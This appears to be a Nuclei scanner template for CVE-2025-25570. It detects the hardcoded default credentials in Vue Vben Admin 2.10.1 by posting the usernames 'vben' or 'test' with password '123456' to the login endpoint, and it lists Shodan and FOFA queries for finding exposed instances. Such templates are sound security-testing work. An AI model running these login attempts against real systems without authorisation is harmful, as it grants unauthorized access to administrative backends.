id: CVE-2025-25570

info:
  name: Vue Vben Admin - Default Credentials
  author: 0x_Akoko
  severity: critical
  description: |
    Vue Vben Admin 2.10.1 contains a broken authentication caused by hardcoded credentials in the backend, letting attackers log in without proper authorization, exploit requires access to the login interface.
  impact: |
    Attackers can gain unauthorized access to the backend, potentially leading to data theft or system control
  remediation: |
    Remove hardcoded credentials and implement proper authentication mechanisms, update to the latest version if available.
  reference:
    - https://github.com/vbenjs/vue-vben-admin
    - https://doc.vvbin.cn/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-25570
    epss-score: 0.02021
    epss-percentile: 0.79025
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"vben" || http.html:"vue-vben-admin"
    fofa-query: body="vben" || body="vue-vben-admin"
  tags: cve,cve2025,vben,vue,default-login,credentials

http:
  - raw:
      - |
        POST {{BaseURL}}/basic-api/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    attack: clusterbomb
    payloads:
      username:
        - "vben"
        - "test"
      password:
        - "123456"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"code\":0", "\"type\":\"success\"", "\"result\":", "\"token\":")'
          - 'contains_any(body, "Vben Admin", "Super Admin")'
        condition: and
# digest: 4b0a00483046022100b4c6033c322cc83943cfde852cc5fd929480d104de3424bdc3d0e71aa09f0040022100e53a52ffb892ad0bb4e978fa3e6c1dc43eacc8c75a619bd7a979e20b70f4c64b:922c64590222798bb761d5b6d8e72950